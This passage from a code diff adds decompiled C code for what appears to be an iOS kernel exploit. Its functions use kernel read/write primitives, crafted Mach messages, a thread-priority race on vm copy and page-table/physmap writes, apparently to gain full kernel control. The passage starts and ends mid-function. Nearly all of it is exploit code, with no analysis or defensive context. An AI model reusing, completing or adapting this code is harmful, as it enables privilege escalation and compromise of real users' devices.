+  struct_krwCtx *v9; // x21
+  __int64 v10; // x0
+  unsigned __int64 v11; // x21
+  mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF
+
+  name = 0;
+  mach_port_allocate(mach_task_self_, 1u, &name);
+  v4 = (unsigned int)(a2 + 24);
+  v5 = (mach_msg_header_t *)calloc(1u, v4);
+  v6 = name;
+  v5->msgh_size = v4;
+  v5->msgh_remote_port = v6;
+  v5->msgh_bits = 21;
+  mach_msg_send(v5);
+  v7 = krw_lookup_via_ctx_field32(*(uint64_t *)(a1 + 8), name) + 32;
+  v8 = kread_u64_value(*(uint64_t *)(a1 + 8), v7);
+  v9 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(a1 + 8), 32);
+  v10 = kread_u64_value(*(uint64_t *)(a1 + 8), v8 + 16);
+  v11 = krw_xpac_vaddr_2(v9, v10);
+  kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v7, 0);
+  mach_port_destroy(mach_task_self_, name);
+  return v11 + 32;
+}
+
+//----- (00000000000109F8) ----------------------------------------------------
+__int64 __fastcall setup_kernel_exploit_msg(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7)
+{
+  __int64 v14; // x26
+  uint64_t *v15; // x8
+  __int64 v16; // x9
+  mach_msg_header_t *v17; // x0
+  mach_port_name_t v18; // w4
+
+  v14 = *(uint64_t *)(a1 + 16);
+  *(uint32_t *)(v14 + 1032) = *(uint32_t *)(v14 + 8);
+  *(uint32_t *)(v14 + 1036) = 0;
+  *(uint32_t *)(v14 + 1044) = *(uint32_t *)(v14 + 20) + 100;
+  memcpy((void *)(v14 + 1068), (const void *)(v14 + 56), 0x210u);
+  *(NDR_record_t *)(v14 + 1048) = NDR_record;
+  *(uint32_t *)(v14 + 1064) = 132;
+  *(uint64_t *)(v14 + 1056) = 0x1100000000LL;
+  *(uint64_t *)(v14 + 1024) = 0x23C00000012LL;
+  memcpy(*(void **)(a1 + 24), (const void *)(a1 + 44), 0x130u);
+  v16 = *(uint64_t *)(a1 + 16);
+  v15 = *(uint64_t **)(a1 + 24);
+  v15[1] = a2;
+  v15[2] = a3;
+  v15[3] = a4;
+  v15[4] = a5;
+  v15[5] = a6;
+  v15[6] = a7;
+  mach_msg_send((mach_msg_header_t *)(v16 + 1024));
+  bzero(*(void **)(a1 + 16), 0x800u);
+  v17 = *(mach_msg_header_t **)(a1 + 16);
+  v18 = *(uint32_t *)(a1 + 368);
+  return mach_msg(v17, 2, 0, 0x400u, v18, 0, 0);
+}
+// 10AF8: variable 'vars8' is possibly undefined
+
+//----- (0000000000010B08) ----------------------------------------------------
+__int64 __fastcall mach_vm_page_info_query(uint64_t *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6)
+{
+  __int64 v7; // x9
+  __int64 v8; // x10
+  __int64 v9; // x6
+  __int64 v10; // x9
+  __int64 result; // x0
+
+  v7 = 0;
+  v8 = a1[44];
+  do
+  {
+    *(uint64_t *)(v8 + 8 + v7) = *(uint64_t *)(a6 + v7);
+    v7 += 8;
+  }
+  while ( v7 != 240 );
+  *(uint64_t *)(v8 + 256) = a5;
+  *(uint64_t *)((char *)a1 + 220) = a1[45];
+  v10 = *(uint64_t *)(a6 + 128);
+  v9 = *(uint64_t *)(a6 + 136);
+  *(uint64_t *)(v8 + 264) = a2;
+  *(uint32_t *)(v8 + 272) = a3;
+  *(uint64_t *)(v8 + 248) = a4;
+  *(uint64_t *)(v8 + 136) = v10;
+  *(uint64_t *)(v8 + 144) = v9;
+  result = setup_kernel_exploit_msg((__int64)a1, a1[45], a2, a3, a4, v10, v9);
+  *(uint64_t *)((char *)a1 + 220) = a1[47];
+  return result;
+}
+
+//----- (0000000000010B90) ----------------------------------------------------
+__int64 __fastcall query_phys_page_info(__int64 a1, __int64 a2, __int64 a3)
+{
+  *(uint64_t *)(a3 + 168) = *(uint64_t *)(a1 + 376);
+  return mach_vm_page_info_query((uint64_t *)a1, a2, *(uint32_t *)(a1 + 656), *(uint64_t *)(a1 + 624), *(uint64_t *)(a1 + 632), a3);
+}
+
+//----- (0000000000010C2C) ----------------------------------------------------
+__int64 __fastcall setup_ipc_port_exploit_payload(__int64 a1, __int64 a2, int a3, __int64 a4)
+{
+  __int64 v7; // x4
+  __int64 v8; // x22
+  __int64 v9; // x23
+  __int64 v10; // x24
+  __int64 v11; // x8
+  __int64 v12; // x10
+  __int64 v13; // x0
+  __int64 v14; // x1
+  uint64_t payload[30]; // [xsp+0h] [xbp-140h] BYREF
+
+  memset(payload, 0, sizeof(payload));
+  v7 = *(uint64_t *)(a1 + 632);
+  if ( v7 )
+  {
+    v8 = *(uint64_t *)(a1 + 632);
+    if ( (*(uint8_t *)(a1 + 652) & 1) == 0 )
+      v8 = *(uint64_t *)(a1 + 632);
+  }
+  else
+  {
+    v8 = 0;
+  }
+  if ( a3 >= 1 )
+  {
+    v9 = 0;
+    v10 = (unsigned int)a3;
+    do
+    {
+      if ( (unsigned int)v9 < 8 || (uint32_t)v9 == 15 )
+      {
+        payload[v9] = *(uint64_t *)(a4 + 8 * v9);
+      }
+      else
+      {
+        kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v8, *(uint64_t *)(a4 + 8 * v9));
+        v8 += 8;
+      }
+      ++v9;
+    }
+    while ( v10 != v9 );
+    v7 = *(uint64_t *)(a1 + 632);
+  }
+  v11 = *(uint64_t *)(a1 + 664);
+  v12 = *(uint64_t *)(a1 + 376);
+  payload[19] = v11 + 61416;
+  payload[21] = v12;
+  payload[23] = v11 + 61312;
+  mach_vm_page_info_query((uint64_t *)a1, a2, *(uint32_t *)(a1 + 660), qword_48038, v7, (__int64)payload);
+  v13 = *(uint64_t *)(a1 + 8);
+  v14 = *(uint64_t *)(a1 + 664) + 61440LL;
+  return kread_u64_value(v13, v14);
+}
+
+//----- (0000000000010DEC) ----------------------------------------------------
+__int64 __fastcall send_iokit_notification(__int64 a1, __int64 a2, uint64_t *a3)
+{
+  uint64_t payload[29]; // [xsp+10h] [xbp-100h] BYREF
+
+  memset(payload, 0, sizeof(payload));
+  for ( __int64 i = 0; i != 29; ++i )
+    payload[i] = a3[i];
+  return (*(__int64 (__fastcall **)(__int64, __int64, __int64, uint64_t *))(*(uint64_t *)a1 + 8LL))(a1, a2, 29, payload);
+}
+
+//----- (0000000000010EA8) ----------------------------------------------------
+__int64 __fastcall prepare_iokit_notification_payload(__int64 a1, __int64 a2, __int64 a3)
+{
+  __int64 v4; // x0
+  __int64 v5; // x1
+  uint64_t payload[30]; // [xsp+8h] [xbp-108h] BYREF
+
+  memset(payload, 0, sizeof(payload));
+  payload[0] = *(uint64_t *)(a1 + 664) + 61440LL;
+  payload[16] = a2;
+  payload[17] = a3;
+  query_phys_page_info(a1, qword_48020, (__int64)payload);
+  v4 = *(uint64_t *)(a1 + 8);
+  v5 = *(uint64_t *)(a1 + 664) + 61440LL;
+  return kread_u64_value(v4, v5);
+}
+
+//----- (0000000000010F6C) ----------------------------------------------------
+__int64 __fastcall vtable_call_slot2(__int64 a1, __int64 a2)
+{
+  return (*(__int64 (__fastcall **)(__int64, __int64, uint64_t))(*(uint64_t *)a1 + 16LL))(a1, a2, 0);
+}
+
+//----- (0000000000010F84) ----------------------------------------------------
+__int64 __fastcall setup_notification_extra_args(__int64 a1, __int64 a2, __int64 a3)
+{
+  __int64 v4; // x0
+  __int64 v5; // x1
+  uint64_t payload[30]; // [xsp+8h] [xbp-118h] BYREF
+
+  memset(payload, 0, sizeof(payload));
+  payload[0] = *(uint64_t *)(a1 + 664) + 61696LL;
+  payload[16] = a2;
+  payload[17] = a3;
+  query_phys_page_info(a1, qword_48028, (__int64)payload);
+  v4 = *(uint64_t *)(a1 + 8);
+  v5 = *(uint64_t *)(a1 + 664) + 61696LL;
+  return kread_u64_value(v4, v5);
+}
+
+//----- (0000000000011054) ----------------------------------------------------
+__int64 __fastcall trigger_kstate_write_vtable(__int64 *a1, __int64 a2, __int64 a3)
+{
+  uint64_t payload[6]; // [xsp+8h] [xbp-48h] BYREF
+
+  memset(payload, 0, sizeof(payload));
+  payload[0] = a1[83] + 61400;
+  payload[1] = a3;
+  (*(void (__fastcall **)(__int64 *, __int64, __int64, uint64_t *))(*a1 + 8))(a1, qword_48018, 6, payload);
+  return kread_u64_value(a1[1], a1[83] + 61696);
+}
+
+//----- (00000000000110FC) ----------------------------------------------------
+__int64 __fastcall pack_exploit_args_buffer(
+        __int64 a1,
+        __int64 a2,
+        __int64 a3,
+        __int64 a4,
+        __int64 a5,
+        __int64 a6,
+        __int64 a7,
+        __int64 a8,
+        __int64 a9)
+{
+  volatile __int64 *stackArgs; // [xsp+8h] [xbp-98h]
+  uint64_t payload[16]; // [xsp+10h] [xbp-90h] BYREF
+
+  stackArgs = (volatile __int64 *)((char *)__builtin_frame_address(0) + 16);
+  memset(payload, 0, sizeof(payload));
+  for ( __int64 i = 0; i != 8; ++i )
+    payload[i] = stackArgs[i];
+  payload[15] = a2;
+  return (*(__int64 (__fastcall **)(__int64, __int64, __int64, uint64_t *))(*(uint64_t *)a1 + 8LL))(
+           a1,
+           qword_48000,
+           16,
+           payload);
+}
+
+//----- (00000000000111B4) ----------------------------------------------------
+__int64 __fastcall call_vtable_ptr_slot2(__int64 a1)
+{
+  return (*(__int64 (**)(void))(a1 + 16))();
+}
+
+//----- (00000000000111C0) ----------------------------------------------------
+__int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
+{
+  struct vmcopy_race_thread_block
+  {
+    uint64_t isa;
+    uint64_t flags;
+    void *invoke;
+    void *descriptor;
+    __int64 *state;
+    thread_act_t *targetThread;
+    __int128 *threadList;
+    semaphore_t readySemaphore;
+    semaphore_t resumeSemaphore;
+  };
+  struct vmcopy_write_physmap_block
+  {
+    uint64_t isa;
+    uint64_t flags;
+    __int64 (__fastcall *invoke)(__int64, unsigned __int8);
+    void *descriptor;
+    __int64 ctx;
+    __int64 kaddr;
+    unsigned __int64 pteIndex;
+    unsigned __int64 pteAddr;
+    unsigned __int64 pageTableBase;
+    vm_size_t size;
+    __int64 savedNext;
+    __int64 savedPrev;
+    int pageShift;
+    mem_entry_name_port_t objectHandle;
+  };
+  struct vmcopy_trigger_thread_block
+  {
+    uint64_t isa;
+    uint64_t flags;
+    void *invoke;
+    void *descriptor;
+    __int64 ctx;
+    __int64 *state;
+    semaphore_t readySemaphore;
+    semaphore_t resumeSemaphore;
+  };
+  __int64 *v2; // x20
+  unsigned __int64 v3; // x24
+  __int64 v4; // x0
+  __int64 v5; // x23
+  unsigned int v6; // w0
+  unsigned __int64 v7; // x27
+  __int64 v8; // x22
+  unsigned int v9; // w0
+  int v10; // w21
+  __int64 v11; // x0
+  __int64 v12; // x8
+  unsigned __int64 v13; // x22
+  unsigned __int64 v14; // x25
+  unsigned __int64 v15; // x27
+  unsigned __int64 v16; // x0
+  bool v17; // cf
+  unsigned int v19; // w0
+  unsigned __int64 v20; // x27
+  int v21; // w21
+  thread_act_t v22; // w1
+  unsigned __int64 v23; // x25
+  __int64 v24; // x22
+  unsigned __int64 v25; // x0
+  vm_offset_t v26; // x26
+  vm_address_t v27; // x26
+  thread_act_t v28; // w22
+  unsigned __int64 v29; // x22
+  unsigned __int64 i; // x24
+  int v31; // w0
+  int v32; // w0
+  int v33; // w0
+  unsigned int v34; // w8
+  __int64 *v35; // x24
+  vm_address_t v36; // x28
+  thread_act_t v37; // w0
+  __int64 v38; // x22
+  mach_port_t v39; // w0
+  mach_vm_address_t v40; // x22
+  __int64 v41; // x26
+  int v42; // w8
+  int v43; // w8
+  __int64 v44; // x22
+  __int64 v45; // x22
+  unsigned int v46; // w1
+  __int64 v47; // x8
+  __int64 v48; // x28
+  thread_act_t v51; // w0
+  __int64 j; // x22
+  thread_act_t v53; // w0
+  int v54; // w8
+  struct_krwCtx *v55; // x0
+  int v56; // w22
+  int v57; // w0
+  __int64 v58; // x9
+  unsigned __int64 v59; // x9
+  int v60; // w10
+  int v61; // w24
+  unsigned __int64 v62; // x22
+  unsigned int v63; // w0
+  unsigned __int64 v64; // x22
+  unsigned __int64 v65; // x25
+  unsigned int v66; // w0
+  unsigned __int64 v67; // x8
+  __int64 v68; // x22
+  __int64 v69; // x0
+  unsigned __int64 v70; // x0
+  struct_krwCtx *v71; // x22
+  __int64 v72; // x0
+  unsigned __int64 v73; // x0
+  struct_krwCtx *v74; // x22
+  __int64 v75; // x0
+  mach_vm_address_t v76; // x1
+  unsigned __int64 v77; // x22
+  __int64 v78; // x25
+  __int64 v79; // x8
+  uint32_t *v80; // x9
+  uint64_t *v81; // x10
+  uint64_t *v82; // x8
+  int v83; // w11
+  __int64 v84; // x0
+  __int64 v85; // x1
+  mach_msg_header_t *v86; // x0
+  vm_offset_t v87; // x22
+  __int64 v88; // x24
+  vm_address_t v89; // x8
+  __int64 v90; // x22
+  __int64 v91; // x24
+  __int64 v92; // x0
+  void *v94; // [xsp+40h] [xbp-6C0h]
+  __int64 v95; // [xsp+58h] [xbp-6A8h]
+  __int64 v96; // [xsp+98h] [xbp-668h]
+  __int64 v97; // [xsp+A0h] [xbp-660h]
+  vm_address_t v98; // [xsp+A8h] [xbp-658h]
+  unsigned __int64 v99; // [xsp+A8h] [xbp-658h]
+  __int64 v100; // [xsp+B0h] [xbp-650h]
+  mach_vm_address_t v101; // [xsp+B8h] [xbp-648h]
+  unsigned __int64 v102; // [xsp+C0h] [xbp-640h]
+  __int64 v103; // [xsp+C8h] [xbp-638h]
+  int v104; // [xsp+D4h] [xbp-62Ch]
+  unsigned __int64 v105; // [xsp+D8h] [xbp-628h]
+  unsigned __int64 v106; // [xsp+E0h] [xbp-620h]
+  unsigned int v107; // [xsp+ECh] [xbp-614h]
+  vm_offset_t v108; // [xsp+F0h] [xbp-610h]
+  unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
+  vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
+  struct vmcopy_trigger_thread_block triggerThreadBlock; // [xsp+108h] [xbp-5F8h] BYREF
+  natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
+  struct vmcopy_write_physmap_block writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
+  vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
+  integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF
+  struct vmcopy_race_thread_block raceThreadBlock; // [xsp+2D0h] [xbp-430h] BYREF
+  pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF
+  __int64 v150; // [xsp+318h] [xbp-3E8h] BYREF
+  vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF
+  vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF
+  thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF
+  thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF
+  mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF
+  vm_address_t address; // [xsp+340h] [xbp-3C0h] BYREF
+  vm_size_t size; // [xsp+348h] [xbp-3B8h] BYREF
+  vm_address_t offset; // [xsp+350h] [xbp-3B0h] BYREF
+  int v159; // [xsp+35Ch] [xbp-3A4h] BYREF
+  semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF
+  semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF
+  thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF
+  thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF
+  uint64_t pageInfoPayload[30]; // [xsp+370h] [xbp-390h] BYREF
+  __int128 __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF
+  __int128 v180[16]; // [xsp+590h] [xbp-170h] BYREF
+
+  v2 = (__int64 *)(someStruct + 8);
+  v104 = *(uint32_t *)(*(uint64_t *)(*(uint64_t *)(someStruct + 8) + 32LL) + 320LL);
+  child_act = 0;
+  thread_create(mach_task_self_, &child_act);
+  v162 = 0;
+  thread_create(mach_task_self_, &v162);
+  semaphore = 0;
+  semaphore_create(mach_task_self_, &semaphore, 0, 0);
+  v160 = 0;
+  semaphore_create(mach_task_self_, &v160, 0, 0);
+  v159 = 0;
+  v106 = kernel_va_base_resolver(KRWCTX_FROM_RAW_FIELD(*v2, 32), 0, &v159);
+  do
+  {
+    offset = 0;
+    size = 0x4000;
+    address = 0;
+    vm_map(mach_task_self_, &address, 0xC000u, 0, 1, 0, 0, 0, 0, 0, 2u);
+    offset = address + 0x4000;
+    vm_allocate(mach_task_self_, &offset, size, 0x4000);
+    *(uint64_t *)offset = 0xC0C0C0C0C0C0C0C0LL;
+    mach_make_memory_entry(mach_task_self_, &size, offset, 3, &object_handle, 0);
+    v3 = get_task_kobject_addr_from_field32(*v2, object_handle);
+    v4 = kread_u64_value(*v2, v3 + 16);
+    v5 = kread_u64_value(*v2, v4 + 24);
+    v6 = kread_u32_value(*v2, v5 + 60);
+    if ( (v6 & 0x80000000) != 0 )
+      v7 = 48LL * (v6 & 0x7FFFFFFF);
+    else
+      v7 = ((unsigned __int64)v6 << v159) + v106;
+    v8 = kread_u64_value(*v2, v7 + 32);
+    v9 = kread_u32_value(*v2, v7);
+  }
+  while ( (v9 & 0x80000000) == 0 );
+  v95 = v7;
+  v10 = 0;
+  v109 = v8 - 48LL * v9 + 0x1800000000LL;
+  v11 = *(uint64_t *)(someStruct + 8);
+  v12 = *(uint64_t *)(v11 + 32);
+  v13 = *(uint64_t *)(v12 + 6632);
+  v14 = *(uint64_t *)(v12 + 6640);
+  while ( 1 )
+  {
+    v15 = v109 + (v10 & 0xFFFFFFF0);
+    v16 = kread_u64_value(v11, v15 + 24);
+    v17 = v16 < v13 || v16 >= v14;
+    if ( !v17 && (v16 & 0x3FFF) == 0 )
+    {
+      v19 = kread_u32_value(*(uint64_t *)(someStruct + 8), v15 + 32);
+      *(uint64_t *)(someStruct + 32) = v19;
+      if ( v19 )
+      {
+        v20 = (v19 & 0x80000000) != 0 ? v109 + 48LL * (v19 & 0x7FFFFFFF) : ((unsigned __int64)v19 << v159) + v106;
+        if ( (unsigned int)kread_u32_value(*v2, v20 + 48) > 0xFFF )
+          break;
+      }
+    }
+    v11 = *v2;
+    v10 += 48;
+  }
+  kwrite_u64_to_addr(*v2, v3 + 24, 0);
+  kwrite_u64_to_addr(*v2, v3 + 32, -16384);
+  v154 = 0;
+  v21 = 256;
+  do
+  {
+    thread_create(mach_task_self_, &v154);
+    --v21;
+  }
+  while ( v21 );
+  v107 = 0;
+  target_act = 0;
+  v103 = v5 + 48;
+  v102 = v95 - v106;
+  v94 = (void *)(someStruct + 44);
+  do
+  {
+    if ( target_act )
+      thread_terminate(target_act);
+    thread_create(mach_task_self_, &target_act);
+    v22 = target_act;
+    *(uint32_t *)(someStruct + 672) = 0;
+    v23 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v22);
+    v24 = kread_u64_value(*(uint64_t *)(someStruct + 8), qword_48008 + v23);
+    v25 = maybe_sptm_translate_kaddr(KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(someStruct + 8), 32), v24);
+    if ( ((v25 + 272) & 0x3F) == 0x10 || (v25 & 0x3FFF) > 0x3EC0 )
+      goto LABEL_68;
+    v96 = v24;
+    v105 = v25 & 0x3FFF;
+    v100 = v25;
+    v101 = v25 + 272;
+    v26 = v25 & 0xFFFFFFFFFFFFC000LL;
+    v152 = 0;
+    memset(__dst, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    HIDWORD(__dst[0]) = *(uint64_t *)(someStruct + 32);
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    vm_map(mach_task_self_, &v152, 0x4000u, 0, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u);
+    memset(__dst, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    HIDWORD(__dst[0]) = v102 >> v159;
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    v97 = qword_48008;
+    v98 = v152;
+    v151 = 0;
+    memset(__dst, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    HIDWORD(__dst[0]) = *(uint64_t *)(someStruct + 32);
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    v108 = v26;
+    vm_map(mach_task_self_, &v151, 0x4000u, 0, 1, object_handle, v26, 0, 3, 3, 1u);
+    memset(__dst, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    HIDWORD(__dst[0]) = v102 >> v159;
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    v27 = v151;
+    v150 = 0;
+    memset(v180, 0, sizeof(v180));
+    raceThreadBlock.isa = _NSConcreteStackBlock;
+    raceThreadBlock.flags = 3221225472LL;
+    raceThreadBlock.invoke = run_exploit_thread;
+    raceThreadBlock.descriptor = &unk_44870;
+    raceThreadBlock.readySemaphore = v160;
+    raceThreadBlock.resumeSemaphore = semaphore;
+    raceThreadBlock.state = &v150;
+    raceThreadBlock.targetThread = &target_act;
+    raceThreadBlock.threadList = v180;
+    pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &raceThreadBlock);
+    semaphore_wait(semaphore);
+    v28 = pthread_mach_thread_np(v149);
+    policy_info[0] = kVmcopyRaceLowPriorityPolicy[0];
+    policy_info[1] = kVmcopyRaceLowPriorityPolicy[1];
+    policy_info[2] = kVmcopyRaceLowPriorityPolicy[2];
+    policy_info[3] = kVmcopyRaceLowPriorityPolicy[3];
+    thread_policy_set(v28, 2u, policy_info, 4u);
+    v29 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v28);
+    if ( !v107 )
+    {
+      v107 = 0;
+      for ( i = 252; i < 0x2FC; i += 4LL )
+      {
+        v31 = kread_u32_value(*v2, v29 + i + 4);
+        if ( v31 == policy_info[0] )
+        {
+          v32 = kread_u32_value(*v2, v29 + i + 8);
+          if ( v32 == policy_info[1] )
+          {
+            v33 = kread_u32_value(*v2, v29 + i + 12);
+            v34 = v107;
+            if ( v33 == policy_info[2] )
+              v34 = i + 4;
+            v107 = v34;
+          }
+        }
+      }
+    }
+    v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97);
+    v36 = v27 + v105;
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v29 + v107 + 4, 1);
+    policy_info[0] = kVmcopyRaceHighPriorityPolicy[0];
+    policy_info[1] = kVmcopyRaceHighPriorityPolicy[1];
+    policy_info[2] = kVmcopyRaceHighPriorityPolicy[2];
+    policy_info[3] = kVmcopyRaceHighPriorityPolicy[3];
+    v37 = mach_thread_self();
+    thread_policy_set(v37, 2u, policy_info, 4u);
+    v38 = *(uint64_t *)(someStruct + 8);
+    v39 = mach_thread_self();
+    v40 = get_task_kobject_addr_from_field32(v38, v39) + v107;
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40, 0x7FFFFFFF);
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40 + 4, 0x7FFFFFFF);
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40 + 8, 0x7FFFFFFF);
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v40 + 12, 256);
+    kwrite_u64_to_addr(*(uint64_t *)(someStruct + 8), v40 + 16, 0xFFFFFFFFFFFFFFFLL);
+    semaphore_signal(v160);
+    *(v35 - 1) = 0;
+    v41 = *(uint64_t *)(v27 + v105 + 296);
+    if ( (*(uint32_t *)(v36 + 272) & 0x1000) != 0 )
+      v42 = 4194824;
+    else
+      v42 = 4194820;
+    *(uint32_t *)(someStruct + 660) = v42;
+    v43 = v42 | 0x3C0;
+    *(uint32_t *)(someStruct + 656) = v43;
+    *(uint32_t *)(v36 + 272) = v43;
+    if ( v104 <= 10001 )
+      *v35 = 0;
+    thread_switch(0, 0, 0);
+    v150 = 1;
+    while ( v150 == 1 )
+    {
+      if ( *v35 )
+      {
+        v44 = *(v35 - 1);
+        if ( maybe_sptm_translate_kaddr(KRWCTX_FROM_RAW_FIELD(*v2, 32), *v35) == v44 )
+        {
+          *v35 = v96;
+          goto LABEL_47;
+        }
+      }
+    }
+    v44 = 0;
+LABEL_47:
+    pthread_join(v149, 0);
+    if ( v104 <= 10001 )
+      *v35 = v44;
+    v45 = 0;
+    while ( 1 )
+    {
+      v46 = *(uint32_t *)((char *)v180 + v45);
+      if ( v46 )
+      {
+        if ( get_task_kobject_addr_from_field32(*v2, v46) == v23 )
+          break;
+      }
+      v45 += 4;
+      if ( v45 == 256 )
+      {
+        v47 = v150;
+        goto LABEL_55;
+      }
+    }
+    v150 = 3;
+    *(uint32_t *)(someStruct + 672) = *(uint32_t *)((char *)v180 + v45);
+    *(uint32_t *)((char *)v180 + v45) = 0;
+    v47 = 3;
+LABEL_55:
+    v48 = *(uint64_t *)(v36 + 296);
+    if ( v41 == v48 || v48 == 0 || v47 != 3 )
+    {
+      v51 = *(uint32_t *)(someStruct + 672);
+      if ( v51 + 1 >= 2 )
+      {
+        thread_terminate(v51);
+        *(uint32_t *)(someStruct + 672) = 0;
+      }
+      for ( j = 0; j != 256; j += 4 )
+      {
+        v53 = *(uint32_t *)((char *)v180 + j);
+        if ( v53 )
+          thread_terminate(v53);
+      }
+LABEL_68:
+      v54 = 87;
+      continue;
+    }
+    v55 = KRWCTX_FROM_RAW_FIELD(*v2, 32);
+    v56 = v55->xnuMajorVersion;
+    v57 = krw_ctx_has_flag(v55, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
+    if ( v56 >= 8796 )
+    {
+      v58 = 184;
+      if ( v57 )
+        v58 = 112;
+      v59 = v58 + (v23 & 0x3FFF);
+      v60 = *(uint32_t *)(v59 + v152);
+      if ( (v60 & 0x8000) == 0 )
+        *(uint32_t *)(v152 + v59) = v60 | 0x8000;
+    }
+    v61 = 256;
+    do
+    {
+      thread_create(mach_task_self_, &v154);
+      if ( v154 )
+      {
+        v62 = get_task_kobject_addr_from_field32(*v2, v154);
+        if ( validate_kaddr_range(*(uint64_t *)(*v2 + 32), v62) )
+        {
+          kwrite_u64_to_addr(*v2, v62 + qword_48008 - 8, 0);
+          thread_terminate(v154);
+          v154 = 0;
+        }
+      }
+      --v61;
+    }
+    while ( v61 );
+    kwrite_u64_to_addr(*v2, v23 + qword_48008 - 8, v100);
+    kwrite_u64_to_addr(*v2, qword_48008 + v23, v96);
+    v63 = kread_u32_value(*v2, v20);
+    if ( (v63 & 0x80000000) != 0 )
+    {
+      v65 = v109 + 48LL * (v63 & 0x7FFFFFFF);
+      v64 = v106;
+    }
+    else
+    {
+      v64 = v106;
+      v65 = ((unsigned __int64)v63 << v159) + v106;
+    }
+    while ( kread_u64_value(*v2, v65 + 24) != v108 )
+    {
+      v66 = kread_u32_value(*v2, v65 + 8);
+      if ( (v66 & 0x80000000) != 0 )
+        v65 = v109 + 48LL * (v66 & 0x7FFFFFFF);
+      else
+        v65 = ((unsigned __int64)v66 << v159) + v64;
+    }
+    if ( v65 >= v109 )
+      v67 = ((v65 - v109) / 0x30) | 0x80000000;
+    else
+      v67 = (v65 - v64) >> v159;
+    v99 = v67;
+    v144 = 0;
+    memset(__dst, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    HIDWORD(__dst[0]) = *(uint64_t *)(someStruct + 32);
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    vm_map(mach_task_self_, &v144, 0x4000u, 0, 1, object_handle, v108, 0, 3, 3, 1u);
+    memset(__dst, 0, 32);
+    kread_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    HIDWORD(__dst[0]) = v102 >> v159;
+    kwrite_u64_via_kobject(*(uint64_t *)(someStruct + 8), v103, (__int64)__dst, 32);
+    *(uint64_t *)(someStruct + 24) = v144 + v105;
+    flush_cpu_cache(*(uint64_t *)(someStruct + 8), v101, *(uint32_t *)(someStruct + 656));
+    memcpy(__dst, *(const void **)(someStruct + 24), sizeof(__dst));
+    v68 = kread_u64_value(*(uint64_t *)(someStruct + 8), v95);
+    v69 = kread_u64_value(*(uint64_t *)(someStruct + 8), v65 + 8);
+    writePhysmapBlock.isa = _NSConcreteStackBlock;
+    writePhysmapBlock.flags = 3221225472LL;
+    writePhysmapBlock.invoke = write_kaddr_to_physmap;
+    writePhysmapBlock.descriptor = &unk_44890;
+    writePhysmapBlock.ctx = someStruct;
+    writePhysmapBlock.kaddr = v95;
+    writePhysmapBlock.pteIndex = v99;
+    writePhysmapBlock.pteAddr = v65;
+    writePhysmapBlock.pageTableBase = v106;
+    writePhysmapBlock.size = size;
+    writePhysmapBlock.pageShift = v159;
+    writePhysmapBlock.objectHandle = object_handle;
+    writePhysmapBlock.savedNext = v69;
+    writePhysmapBlock.savedPrev = v68;
+    v70 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v162);
+    v71 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(someStruct + 8), 32);
+    v72 = kread_u64_value(*(uint64_t *)(someStruct + 8), qword_48008 + v70);
+    *(uint64_t *)(someStruct + 360) = krw_xpac_vaddr_2(v71, v72);
+    v73 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), child_act);
+    v74 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(someStruct + 8), 32);
